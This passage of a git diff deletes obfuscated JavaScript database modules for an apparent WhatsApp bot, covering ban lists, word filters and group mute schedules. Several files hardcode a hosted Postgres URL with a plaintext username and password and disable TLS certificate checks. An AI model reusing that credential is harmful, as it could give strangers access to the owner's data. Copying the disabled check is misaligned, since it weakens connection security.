_0x25496a[_0x8d7190(0x212)](_0xd3ca6f[_0x8d7190(0x1a9)], [ - _0x246ba0, - _0x2274dd - ]) : await _0x25496a[_0x8d7190(0x212)](_0xd3ca6f[_0x8d7190(0x1bc)], [ - _0x2274dd, - _0x246ba0, - _0xd3ca6f[_0x8d7190(0x1eb)] - ]), console[_0x8d7190(0x20b)](_0x8d7190(0x1ec) + _0x2274dd + (_0x8d7190(0x1da) + _0x8d7190(0x1e9) + _0x8d7190(0x1d2) + _0x8d7190(0x1fd) + _0x8d7190(0x210) + _0x8d7190(0x1c1))); - } catch (_0x3893f2) { - console[_0x8d7190(0x1a3)](_0xd3ca6f[_0x8d7190(0x201)], _0x3893f2); - } finally { - _0x25496a[_0x8d7190(0x1a7)](); - } -} -; -async function mettreAJourAction(_0x252162, _0x5cf3c0) { - const _0x2905d4 = _0x2389aa, _0xb469fa = { - 'FpkRd': _0x2905d4(0x234) + _0x2905d4(0x232) + _0x2905d4(0x1a1) + _0x2905d4(0x1f4), - 'mKQWE': function (_0x16b4e5, _0xf65447) { - return _0x16b4e5 > _0xf65447; - }, - 'hgeEs': _0x2905d4(0x1fb) + _0x2905d4(0x1a4) + _0x2905d4(0x203) + _0x2905d4(0x20e) + _0x2905d4(0x1e7), - 'tLiMl': _0x2905d4(0x206) + _0x2905d4(0x1f7) + _0x2905d4(0x209) + _0x2905d4(0x1c4) + _0x2905d4(0x21d) + _0x2905d4(0x221), - 'jXCcd': _0x2905d4(0x1e1), - 'JoIwY': _0x2905d4(0x1aa) + _0x2905d4(0x207) + _0x2905d4(0x1b5) + _0x2905d4(0x1bf) + _0x2905d4(0x1b2) + _0x2905d4(0x21f) + _0x2905d4(0x216) - }, _0x5e0874 = await pool[_0x2905d4(0x1ea)](); - try { - const _0x1761e4 = await _0x5e0874[_0x2905d4(0x212)](_0xb469fa[_0x2905d4(0x1cd)], [_0x252162]), _0x4f8498 = _0xb469fa[_0x2905d4(0x1f5)](_0x1761e4[_0x2905d4(0x236)][_0x2905d4(0x1e5)], 0x6 * -0x9d + -0x30 * 0x51 + 0x3c6 * 0x5); - _0x4f8498 ? await _0x5e0874[_0x2905d4(0x212)](_0xb469fa[_0x2905d4(0x1d9)], [ - _0x5cf3c0, - _0x252162 - ]) : await _0x5e0874[_0x2905d4(0x212)](_0xb469fa[_0x2905d4(0x1d6)], [ - _0x252162, - _0xb469fa[_0x2905d4(0x1c2)], - _0x5cf3c0 - ]), console[_0x2905d4(0x20b)](_0x2905d4(0x22d) + _0x2905d4(0x1ca) + _0x2905d4(0x1ad) + _0x2905d4(0x1cf) + _0x2905d4(0x1c7) + _0x252162 + (_0x2905d4(0x1d7) + _0x2905d4(0x1dc) + _0x2905d4(0x20a))); - } catch (_0x3070c6) { - console[_0x2905d4(0x1a3)](_0xb469fa[_0x2905d4(0x1b6)], _0x3070c6); - } finally { - _0x5e0874[_0x2905d4(0x1a7)](); - } -} -; -async function verifierEtatJid(_0x3af366) { - const _0x5f4fa7 = _0x2389aa, _0x5206a4 = { - 'pLhjG': _0x5f4fa7(0x226) + _0x5f4fa7(0x1f6) + _0x5f4fa7(0x1b0) + _0x5f4fa7(0x21b), - 'FpEzV': function (_0x1affd2, _0x1b5604) { - return _0x1affd2 > _0x1b5604; - }, - 'herWv': function (_0x1ba9aa, _0x361d0c) { - return _0x1ba9aa === _0x361d0c; - }, - 'FFwEw': _0x5f4fa7(0x1ae), - 'sfSyV': _0x5f4fa7(0x1aa) + _0x5f4fa7(0x22e) + _0x5f4fa7(0x21e) + _0x5f4fa7(0x213) + _0x5f4fa7(0x21c) + _0x5f4fa7(0x1fc) + 'e\x20' - }, _0xa8dcfd = await pool[_0x5f4fa7(0x1ea)](); - try { - const _0x20130a = await _0xa8dcfd[_0x5f4fa7(0x212)](_0x5206a4[_0x5f4fa7(0x1f1)], [_0x3af366]); - if (_0x5206a4[_0x5f4fa7(0x215)](_0x20130a[_0x5f4fa7(0x236)][_0x5f4fa7(0x1e5)], -0x20ee + 0xe2f * 0x2 + 0x490)) { - const _0x5de8c0 = _0x20130a[_0x5f4fa7(0x236)][0x1 * 0x22b2 + -0x149 * -0x9 + 0xd * -0x38f][_0x5f4fa7(0x1ac)]; - return _0x5206a4[_0x5f4fa7(0x227)](_0x5de8c0, _0x5206a4[_0x5f4fa7(0x1b7)]); - } else - return ![]; - } catch (_0x389daf) { - return console[_0x5f4fa7(0x1a3)](_0x5206a4[_0x5f4fa7(0x228)], _0x389daf), ![]; - } finally { - _0xa8dcfd[_0x5f4fa7(0x1a7)](); - } -} -; -async function recupererActionJid(_0xf7952) { - const _0x583107 = _0x2389aa, _0x12e8cf = { - 'MqsSi': _0x583107(0x1c6) + _0x583107(0x214) + _0x583107(0x1ee) + _0x583107(0x1d5) + '$1', - 'LIjmF': function (_0xa067c2, _0x317b00) { - return _0xa067c2 > _0x317b00; - }, - 'WiRwD': _0x583107(0x1cc), - 'dETKQ': _0x583107(0x1aa) + _0x583107(0x1f0) + _0x583107(0x1b9) + _0x583107(0x219) + _0x583107(0x225) + _0x583107(0x1be) + _0x583107(0x230) - }, _0x1cb6fb = await pool[_0x583107(0x1ea)](); - try { - const _0x43388f = await _0x1cb6fb[_0x583107(0x212)](_0x12e8cf[_0x583107(0x220)], [_0xf7952]); - if (_0x12e8cf[_0x583107(0x1a6)](_0x43388f[_0x583107(0x236)][_0x583107(0x1e5)], -0x1a0d + 0x1ea1 * -0x1 + 0x38ae)) { - const _0x5d9db7 = _0x43388f[_0x583107(0x236)][-0x4 * -0x608 + -0x5 * 0x17e + -0x2c7 * 0x6][_0x583107(0x1de)]; - return _0x5d9db7; - } else - return _0x12e8cf[_0x583107(0x1ab)]; - } catch (_0x1c2708) { - return console[_0x583107(0x1a3)](_0x12e8cf[_0x583107(0x204)], _0x1c2708), _0x12e8cf[_0x583107(0x1ab)]; - } finally { - _0x1cb6fb[_0x583107(0x1a7)](); - } -} -; -function _0x5538(_0x33ba04, _0x4d80a5) { - const _0x370419 = _0x3842(); - return _0x5538 = function (_0x29fc7a, _0x36aee3) { - _0x29fc7a = _0x29fc7a - (0x40d * -0x3 + 0x355 * -0x8 + 0x2870); - let _0x31f771 = _0x370419[_0x29fc7a]; - return _0x31f771; - }, _0x5538(_0x33ba04, _0x4d80a5); -} -module[_0x2389aa(0x1bb)] = { - 'mettreAJourAction': mettreAJourAction, - 'ajouterOuMettreAJourJid': ajouterOuMettreAJourJid, - 'verifierEtatJid': verifierEtatJid, - 'recupererActionJid': recupererActionJid -}; -function _0x3842() { - const _0x464268 = [ - '\x20pour\x20le\x20J', - 'ehc73b2p7g', - 'ion\x20de\x20la\x20', - 'r\x20avec\x20suc', - 'postgres:/', - 'rIaJt', - 'ERE\x20jid\x20=\x20', - 'tLiMl', - '\x20dans\x20la\x20t', - 'our\x20du\x20JID', - 'hgeEs', - '\x20ajouté\x20ou', - '7cDeYi@dpg', - 'able\x20\x27anti', - ';\x0a\x20', - 'action', - 'PRIMARY\x20KE', - 'a\x20mise\x20à\x20j', - 'non', - 'nue\x20lors\x20d', - 'ser:6hwmTN', - 'cès.', - 'length', - '2068vYyxRz', - 'd\x20=\x20$2', - '12YTOiXq', - '\x20mis\x20à\x20jou', - 'connect', - 'qRAFz', - 'JID\x20', - 'render.com', - 'ntiword\x20WH', - '-postgres.', - 's\x20de\x20la\x20ré', - 'pLhjG', - 'Y,\x0a\x20etat\x20t', - 'T\x20EXISTS\x20a', - 'id\x20=\x20$1', - 'mKQWE', - 't\x20FROM\x20ant', - 'O\x20antiword', - 'ilien\x20SET\x20', - 'zTTie', - 'Une\x20erreur', - 'UPDATE\x20ant', - 'ns\x20la\x20tabl', - 'cès\x20dans\x20l', - '\x20jid\x20text\x20', - 'ut\x20ou\x20de\x20l', - 's\x20de\x20l\x27ajo', - 'ldKzP', - '-cj7ldu5je', - 'action\x20=\x20$', - 'dETKQ', - '=\x20$2', - 'INSERT\x20INT', - 's\x20de\x20la\x20mi', - 'etat\x20=\x20$1\x20', - '\x20(jid,\x20eta', - 'word\x27.', - 'log', - '0-a.oregon', - 'ext,\x0a\x20acti', - '1\x20WHERE\x20ji', - '9926LTXrpL', - 'a\x20table\x20\x27a', - 'moLtF', - 'query', - '\x20de\x20l\x27état', - 'ion\x20FROM\x20a', - 'FpEzV', - 'a\x20table\x20:', - 'e\x20la\x20créat', - 'config', - '\x20de\x20l\x27acti', - '\x0a\x20CREATE\x20T', - 'E\x20jid\x20=\x20$1', - '\x20du\x20JID\x20da', - '\x20VALUES\x20($', - 'rification', - 'JID\x20dans\x20l', - 'MqsSi', - '1,\x20$2,\x20$3)', - 'table\x20\x27ant', - '393334uFNspL', - 'WHERE\x20jid\x20', - 'on\x20du\x20JID\x20', - 'SELECT\x20eta', - 'herWv', - 'sfSyV', - '\x20est\x20surve', - '103772CWsPjK', - 'able\x20,', - 'DATABASE_U', - 'Action\x20mis', - 's\x20de\x20la\x20vé', - '10099350pWZiWt', - 'ble\x20:', - 'tDRlj', - 'ROM\x20antiwo', - '72DsGabT', - 'SELECT\x20*\x20F', - '36605jiSvdZ', - 'rows', - 'rd\x20WHERE\x20j', - 'ABLE\x20IF\x20NO', - 'error', - 'iword\x20SET\x20', - 'iword\x27:', - 'LIjmF', - 'release', - 'HyX49CXwrG', - 'tQsIN', - 'Erreur\x20lor', - 'WiRwD', - 'etat', - 'vec\x20succès', - 'oui', - '85980lnaXHG', - 'iword\x20WHER', - '/db_7xp9', - 'n\x20pour\x20le\x20', - '../set', - 'dotenv', - 'se\x20à\x20jour\x20', - 'JoIwY', - 'FFwEw', - '808PjkdqE', - 'cupération', - '861604llGMLb', - 'exports', - 'fgell', - 'ntiword\x20(\x0a', - 'dans\x20la\x20ta', - 'de\x20l\x27actio', - 'on\x20text\x0a\x20)', - 'ntiword\x27.', - 'jXCcd', - '7rGPNsjlBE', - 't,\x20action)', - '/db_7xp9_u', - 'SELECT\x20act', - 'ID\x20', - 'a\x20été\x20créé', - 'e\x20avec\x20suc', - 'e\x20à\x20jour\x20a', - 'La\x20table\x20\x27', - 'supp', - 'FpkRd', - 'antiword\x27\x20' - ]; - _0x3842 = function () { - return _0x464268; - }; - return _0x3842(); -} diff --git a/bdd/banGroup.js b/bdd/banGroup.js deleted file mode 100644 index 00019410..00000000 --- a/bdd/banGroup.js +++ /dev/null @@ -1 +0,0 @@ -function _0x3de5(_0x1fc492,_0x1b8adf){const _0x5efd68=_0x5efd();return _0x3de5=function(_0x3de5c6,_0x56f02e){_0x3de5c6=_0x3de5c6-0x76;let _0x34f597=_0x5efd68[_0x3de5c6];return _0x34f597;},_0x3de5(_0x1fc492,_0x1b8adf);}const _0x347309=_0x3de5;function _0x5efd(){const _0x5cc528=['547912xqxfVT','rows','10lNRQjQ','connect','8OkJIeu','873836teZFUF','SELECT\x20EXISTS\x20(SELECT\x201\x20FROM\x20banGroup\x20WHERE\x20groupeJid\x20=\x20$1)','../set','1762070ZbAdUF','config','INSERT\x20INTO\x20banGroup\x20(groupeJid)\x20VALUES\x20($1)','3845514xjmpdF','Erreur\x20lors\x20de\x20la\x20suppression\x20du\x20groupe\x20banni\x20:','Erreur\x20lors\x20de\x20l\x27ajout\x20du\x20groupe\x20banni\x20:','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','18eoHJOA','log','release','DELETE\x20FROM\x20banGroup\x20WHERE\x20groupeJid\x20=\x20$1','Groupe\x20JID\x20','\x20ajouté\x20à\x20la\x20liste\x20des\x20groupes\x20bannis.','query','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27banGroup\x27:','77ETWIAU','error','2714550IiCzAm','DATABASE_URL','exists','La\x20table\x20\x27banGroup\x27\x20a\x20été\x20créée\x20avec\x20succès.','\x20supprimé\x20de\x20la\x20liste\x20des\x20groupes\x20bannis.','677958mwnJjQ','3508743xsMmqH'];_0x5efd=function(){return _0x5cc528;};return _0x5efd();}(function(_0x5b5698,_0x38ff2f){const _0x37fd8b=_0x3de5,_0x376021=_0x5b5698();while(!![]){try{const _0x242114=parseInt(_0x37fd8b(0x79))/0x1+-parseInt(_0x37fd8b(0x8d))/0x2+parseInt(_0x37fd8b(0x92))/0x3*(-parseInt(_0x37fd8b(0x78))/0x4)+parseInt(_0x37fd8b(0x76))/0x5*(parseInt(_0x37fd8b(0x7f))/0x6)+-parseInt(_0x37fd8b(0x93))/0x7+-parseInt(_0x37fd8b(0x94))/0x8*(parseInt(_0x37fd8b(0x83))/0x9)+parseInt(_0x37fd8b(0x7c))/0xa*(parseInt(_0x37fd8b(0x8b))/0xb);if(_0x242114===_0x38ff2f)break;else _0x376021['push'](_0x376021['shift']());}catch(_0x49fb0f){_0x376021['push'](_0x376021['shift']());}}}(_0x5efd,0xe5e51),require('dotenv')[_0x347309(0x7d)]());const {Pool}=require('pg'),s=require(_0x347309(0x7b));var dbUrl=s[_0x347309(0x8e)]?s[_0x347309(0x8e)]:_0x347309(0x82);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig),creerTableBanGroup=async()=>{const _0x2519df=_0x347309;try{await pool['query']('\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20banGroup\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20groupeJid\x20text\x20PRIMARY\x20KEY\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20'),console[_0x2519df(0x84)](_0x2519df(0x90));}catch(_0x7ad857){console['error'](_0x2519df(0x8a),_0x7ad857);}};creerTableBanGroup();async function addGroupToBanList(_0x269472){const _0x31e56f=_0x347309,_0x3a136f=await pool['connect']();try{const _0x3ef6a2=_0x31e56f(0x7e),_0x33e279=[_0x269472];await _0x3a136f[_0x31e56f(0x89)](_0x3ef6a2,_0x33e279),console['log'](_0x31e56f(0x87)+_0x269472+_0x31e56f(0x88));}catch(_0x3848fb){console['error'](_0x31e56f(0x81),_0x3848fb);}finally{_0x3a136f[_0x31e56f(0x85)]();}}async function isGroupBanned(_0x68fbc3){const _0xf4e70d=_0x347309,_0x3bab38=await pool[_0xf4e70d(0x77)]();try{const _0x29dc42=_0xf4e70d(0x7a),_0x5018dc=[_0x68fbc3],_0x13c903=await _0x3bab38[_0xf4e70d(0x89)](_0x29dc42,_0x5018dc);return _0x13c903[_0xf4e70d(0x95)][0x0][_0xf4e70d(0x8f)];}catch(_0x1a3589){return console[_0xf4e70d(0x8c)]('Erreur\x20lors\x20de\x20la\x20vérification\x20du\x20groupe\x20banni\x20:',_0x1a3589),![];}finally{_0x3bab38[_0xf4e70d(0x85)]();}}async function removeGroupFromBanList(_0x50f929){const _0x413681=_0x347309,_0x2d4908=await pool[_0x413681(0x77)]();try{const _0x2751b5=_0x413681(0x86),_0x538cdf=[_0x50f929];await _0x2d4908['query'](_0x2751b5,_0x538cdf),console[_0x413681(0x84)](_0x413681(0x87)+_0x50f929+_0x413681(0x91));}catch(_0x3f6235){console[_0x413681(0x8c)](_0x413681(0x80),_0x3f6235);}finally{_0x2d4908[_0x413681(0x85)]();}}module['exports']={'addGroupToBanList':addGroupToBanList,'isGroupBanned':isGroupBanned,'removeGroupFromBanList':removeGroupFromBanList}; \ No newline at end of file diff --git a/bdd/banUser.js b/bdd/banUser.js deleted file mode 100644 index 24d6e304..00000000 --- a/bdd/banUser.js +++ /dev/null @@ -1 +0,0 @@ -const _0x4fb629=_0x4eae;(function(_0x1bf1ab,_0x829137){const _0x5b2927=_0x4eae,_0x14c67b=_0x1bf1ab();while(!![]){try{const _0x1a6ba0=parseInt(_0x5b2927(0x1f3))/0x1*(-parseInt(_0x5b2927(0x1f1))/0x2)+parseInt(_0x5b2927(0x1fd))/0x3*(parseInt(_0x5b2927(0x1f8))/0x4)+parseInt(_0x5b2927(0x1ee))/0x5+-parseInt(_0x5b2927(0x1f9))/0x6*(parseInt(_0x5b2927(0x1f5))/0x7)+-parseInt(_0x5b2927(0x1e8))/0x8+-parseInt(_0x5b2927(0x1ea))/0x9+parseInt(_0x5b2927(0x1f7))/0xa*(parseInt(_0x5b2927(0x1e5))/0xb);if(_0x1a6ba0===_0x829137)break;else _0x14c67b['push'](_0x14c67b['shift']());}catch(_0x55903e){_0x14c67b['push'](_0x14c67b['shift']());}}}(_0x1edc,0x53591),require('dotenv')[_0x4fb629(0x1ff)]());const {Pool}=require('pg'),s=require(_0x4fb629(0x1fb));var dbUrl=s[_0x4fb629(0x1eb)]?s[_0x4fb629(0x1eb)]:_0x4fb629(0x1e9);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig),creerTableBanUser=async()=>{const _0x498195=_0x4fb629;try{await pool[_0x498195(0x1e7)]('\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20banUser\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20jid\x20text\x20PRIMARY\x20KEY\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20'),console[_0x498195(0x1fe)](_0x498195(0x1ef));}catch(_0x1c6293){console[_0x498195(0x1f0)]('Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27banUser\x27:',_0x1c6293);}};creerTableBanUser();function _0x1edc(){const _0x4d9fc5=['release','50420AMvdgm','212956cKDaJJ','384QtdwbY','exists','../set','JID\x20','9kmALCU','log','config','DELETE\x20FROM\x20banUser\x20WHERE\x20jid\x20=\x20$1','3333qiifDi','Erreur\x20lors\x20de\x20l\x27ajout\x20de\x20l\x27utilisateur\x20banni\x20:','query','3767632WVedzt','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','4069512WpcAaU','DATABASE_URL','\x20ajouté\x20à\x20la\x20liste\x20des\x20bannis.','connect','1898395iGEDAS','La\x20table\x20\x27banUser\x27\x20a\x20été\x20créée\x20avec\x20succès.','error','4274hRrgMc','rows','263JZYXKq','Erreur\x20lors\x20de\x20la\x20suppression\x20de\x20l\x27utilisateur\x20banni\x20:','26313SlTmee'];_0x1edc=function(){return _0x4d9fc5;};return _0x1edc();}async function addUserToBanList(_0x20228c){const _0x490364=_0x4fb629,_0x176ef6=await pool[_0x490364(0x1ed)]();try{const _0xd9860a='INSERT\x20INTO\x20banUser\x20(jid)\x20VALUES\x20($1)',_0x1a77bb=[_0x20228c];await _0x176ef6['query'](_0xd9860a,_0x1a77bb),console[_0x490364(0x1fe)](_0x490364(0x1fc)+_0x20228c+_0x490364(0x1ec));}catch(_0x5583a7){console['error'](_0x490364(0x1e6),_0x5583a7);}finally{_0x176ef6['release']();}}async function isUserBanned(_0x5d6e12){const _0xcdbb84=_0x4fb629,_0x4d23ca=await pool['connect']();try{const _0x4f09b1='SELECT\x20EXISTS\x20(SELECT\x201\x20FROM\x20banUser\x20WHERE\x20jid\x20=\x20$1)',_0x3f4b38=[_0x5d6e12],_0x53a229=await _0x4d23ca['query'](_0x4f09b1,_0x3f4b38);return _0x53a229[_0xcdbb84(0x1f2)][0x0][_0xcdbb84(0x1fa)];}catch(_0x36f66c){return console['error']('Erreur\x20lors\x20de\x20la\x20vérification\x20de\x20l\x27utilisateur\x20banni\x20:',_0x36f66c),![];}finally{_0x4d23ca[_0xcdbb84(0x1f6)]();}}function _0x4eae(_0x506cc3,_0x37e52b){const _0x1edc4b=_0x1edc();return _0x4eae=function(_0x4eaef2,_0xd8561f){_0x4eaef2=_0x4eaef2-0x1e5;let _0x4d4754=_0x1edc4b[_0x4eaef2];return _0x4d4754;},_0x4eae(_0x506cc3,_0x37e52b);}async function removeUserFromBanList(_0x119255){const _0x107051=_0x4fb629,_0x3ae732=await pool[_0x107051(0x1ed)]();try{const _0x1e53f4=_0x107051(0x200),_0x53f96a=[_0x119255];await _0x3ae732[_0x107051(0x1e7)](_0x1e53f4,_0x53f96a),console[_0x107051(0x1fe)]('JID\x20'+_0x119255+'\x20supprimé\x20de\x20la\x20liste\x20des\x20bannis.');}catch(_0x2364d1){console['error'](_0x107051(0x1f4),_0x2364d1);}finally{_0x3ae732[_0x107051(0x1f6)]();}}module['exports']={'addUserToBanList':addUserToBanList,'isUserBanned':isUserBanned,'removeUserFromBanList':removeUserFromBanList}; \ No newline at end of file diff --git a/bdd/cron.js b/bdd/cron.js deleted file mode 100644 index 6ead749e..00000000 --- a/bdd/cron.js +++ /dev/null @@ -1 +0,0 @@ -const _0x7cb33=_0x16ab;(function(_0x3d1824,_0xdbf0a6){const _0x4b91fa=_0x16ab,_0xb98128=_0x3d1824();while(!![]){try{const _0x5a133c=parseInt(_0x4b91fa(0xf3))/0x1*(-parseInt(_0x4b91fa(0xe2))/0x2)+-parseInt(_0x4b91fa(0xf4))/0x3*(parseInt(_0x4b91fa(0xf7))/0x4)+-parseInt(_0x4b91fa(0xec))/0x5+-parseInt(_0x4b91fa(0xed))/0x6*(-parseInt(_0x4b91fa(0xe5))/0x7)+parseInt(_0x4b91fa(0xe8))/0x8*(-parseInt(_0x4b91fa(0xda))/0x9)+parseInt(_0x4b91fa(0xf6))/0xa+parseInt(_0x4b91fa(0xeb))/0xb;if(_0x5a133c===_0xdbf0a6)break;else _0xb98128['push'](_0xb98128['shift']());}catch(_0xbc2b75){_0xb98128['push'](_0xb98128['shift']());}}}(_0x1669,0x8fde1),require(_0x7cb33(0xea))[_0x7cb33(0xf9)]());const {Pool}=require('pg');let s=require(_0x7cb33(0xf0));var dbUrl=s[_0x7cb33(0xef)]?s[_0x7cb33(0xef)]:'postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9';const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);async function createTablecron(){const _0x3d8386=_0x7cb33,_0x2021e1=await pool[_0x3d8386(0xf5)]();try{await _0x2021e1[_0x3d8386(0xe9)]('\x0a\x20\x20\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20cron\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20group_id\x20text\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20mute_at\x20text\x20default\x20null,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20unmute_at\x20text\x20default\x20null\x0a\x20\x20\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20\x20\x20'),console[_0x3d8386(0xde)](_0x3d8386(0xf8));}catch(_0x82abe7){console[_0x3d8386(0xf2)](_0x3d8386(0xdb),_0x82abe7);}finally{_0x2021e1[_0x3d8386(0xee)]();}};function _0x1669(){const _0x36a02d=['config','117VbOfzl','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27cron\x27:',')\x20\x0a\x20\x20\x20\x20\x20\x20VALUES\x20($1,\x20$2)','Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20données\x20de\x20la\x20table\x20\x22cron\x22:','log','\x0a\x20\x20\x20\x20\x20\x20INSERT\x20INTO\x20cron\x20(group_id,\x20','rows','Erreur\x20lors\x20de\x20la\x20suppression\x20de\x20la\x20donnée\x20dans\x20la\x20table\x20\x22cron\x22:','11452wGHlPS','SELECT\x20*\x20FROM\x20cron','Erreur\x20lors\x20de\x20l\x27ajout\x20de\x20la\x20donnée\x20dans\x20la\x20table\x20\x22cron\x22:','7882805VPAvVJ','length','\x0a\x20\x20\x20\x20UPDATE\x20cron\x20SET\x20','106184darMeC','query','dotenv','1546919nIsDnY','1646725DMZgYL','6XGbMig','release','DATABASE_URL','../set','exports','error','81lZKxFz','30993BmsCGe','connect','7944560SuYAIG','196BmOcUZ','La\x20table\x20\x27cron\x27\x20a\x20été\x20créée\x20avec\x20succès.'];_0x1669=function(){return _0x36a02d;};return _0x1669();}createTablecron();async function getCron(){const _0x324011=_0x7cb33,_0x5e5458=await pool[_0x324011(0xf5)]();try{const _0x534f09=await _0x5e5458[_0x324011(0xe9)](_0x324011(0xe3));return _0x534f09[_0x324011(0xe0)];}catch(_0x10eb9b){console['error']('Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20données\x20de\x20la\x20table\x20\x22cron\x22:',_0x10eb9b);}finally{_0x5e5458[_0x324011(0xee)]();}}function _0x16ab(_0x272481,_0x5be136){const _0x1669cc=_0x1669();return _0x16ab=function(_0x16abb2,_0x59309a){_0x16abb2=_0x16abb2-0xda;let _0x2ddf2a=_0x1669cc[_0x16abb2];return _0x2ddf2a;},_0x16ab(_0x272481,_0x5be136);};async function addCron(_0x5a5f80,_0x12661b,_0x58f00b){const _0x4fa2c7=_0x7cb33,_0x48e3cf=await pool[_0x4fa2c7(0xf5)]();try{let _0x29f813=await _0x48e3cf[_0x4fa2c7(0xe9)]('\x0a\x20\x20\x20\x20\x20\x20SELECT\x20*\x20FROM\x20cron\x20WHERE\x20group_id\x20=\x20$1',[_0x5a5f80]),_0x3ade71=_0x29f813[_0x4fa2c7(0xe0)][_0x4fa2c7(0xe6)]>0x0;if(_0x3ade71)await _0x48e3cf[_0x4fa2c7(0xe9)](_0x4fa2c7(0xe7)+_0x12661b+'\x20=\x20$1\x20WHERE\x20group_id\x20=\x20$2\x20',[_0x58f00b,_0x5a5f80]);else{const _0x4f44e4=_0x4fa2c7(0xdf)+_0x12661b+_0x4fa2c7(0xdc);await _0x48e3cf[_0x4fa2c7(0xe9)](_0x4f44e4,[_0x5a5f80,_0x58f00b]);}}catch(_0xd9754a){console['error'](_0x4fa2c7(0xe4),_0xd9754a);}finally{_0x48e3cf[_0x4fa2c7(0xee)]();}}async function getCronById(_0x179437){const _0x35f110=_0x7cb33,_0x2423df=await pool[_0x35f110(0xf5)]();try{const _0x479dd5=await _0x2423df[_0x35f110(0xe9)]('SELECT\x20*\x20FROM\x20cron\x20WHERE\x20group_id\x20=\x20$1',[_0x179437]);return _0x479dd5['rows'][0x0];}catch(_0x30eaaf){console['error'](_0x35f110(0xdd),_0x30eaaf);}finally{_0x2423df[_0x35f110(0xee)]();}}async function delCron(_0xa265b9){const _0x3f8058=_0x7cb33,_0x3c96d6=await pool[_0x3f8058(0xf5)]();try{await _0x3c96d6[_0x3f8058(0xe9)]('DELETE\x20FROM\x20cron\x20WHERE\x20group_id\x20=\x20$1',[_0xa265b9]);}catch(_0x45829e){console[_0x3f8058(0xf2)](_0x3f8058(0xe1),_0x45829e);}finally{_0x3c96d6['release']();}}module[_0x7cb33(0xf1)]={'getCron':getCron,'addCron':addCron,'delCron':delCron,'getCronById':getCronById}; \ No newline at end of file diff --git a/bdd/hentai.js b/bdd/hentai.js deleted file mode 100644 index 4419c554..00000000 --- a/bdd/hentai.js +++ /dev/null @@ -1 +0,0 @@ -const _0x5efca7=_0x41a0;(function(_0x40fabd,_0x5e5187){const _0x308a2f=_0x41a0,_0xc5a7bc=_0x40fabd();while(!![]){try{const _0x263880=parseInt(_0x308a2f(0xe8))/0x1+parseInt(_0x308a2f(0xd9))/0x2*(-parseInt(_0x308a2f(0xe2))/0x3)+parseInt(_0x308a2f(0xe7))/0x4*(parseInt(_0x308a2f(0xd4))/0x5)+parseInt(_0x308a2f(0xe0))/0x6*(-parseInt(_0x308a2f(0xed))/0x7)+parseInt(_0x308a2f(0xd0))/0x8*(parseInt(_0x308a2f(0xe3))/0x9)+parseInt(_0x308a2f(0xd2))/0xa+-parseInt(_0x308a2f(0xcf))/0xb*(parseInt(_0x308a2f(0xd3))/0xc);if(_0x263880===_0x5e5187)break;else _0xc5a7bc['push'](_0xc5a7bc['shift']());}catch(_0x5aefdb){_0xc5a7bc['push'](_0xc5a7bc['shift']());}}}(_0x2264,0xca950),require(_0x5efca7(0xcc))['config']());const {Pool}=require('pg'),s=require(_0x5efca7(0xd5));var dbUrl=s[_0x5efca7(0xe5)]?s[_0x5efca7(0xe5)]:'postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9';function _0x2264(){const _0x48db44=['SELECT\x20EXISTS\x20(SELECT\x201\x20FROM\x20hentai\x20WHERE\x20groupeJid\x20=\x20$1)','error','INSERT\x20INTO\x20hentai\x20(groupeJid)\x20VALUES\x20($1)','Erreur\x20lors\x20de\x20la\x20suppression\x20du\x20groupe\x20de\x20la\x20liste\x20de\x20hentai\x20:','\x20a\x20été\x20supprimé\x20de\x20la\x20liste\x20de\x20hentai.','4320myTtAK','Erreur\x20lors\x20de\x20la\x20vérification\x20de\x20la\x20présence\x20du\x20groupe\x20dans\x20la\x20liste\x20de\x20hentai\x20:','429747RxzDBT','186957QqUlic','connect','DATABASE_URL','DELETE\x20FROM\x20hentai\x20WHERE\x20groupeJid\x20=\x20$1','164Diahfa','345556rLJqlH','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27hentai\x27:','query','exports','\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20hentai\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20groupeJid\x20text\x20PRIMARY\x20KEY\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20','1631rUoSxU','exists','dotenv','rows','Erreur\x20lors\x20de\x20l\x27ajout\x20du\x2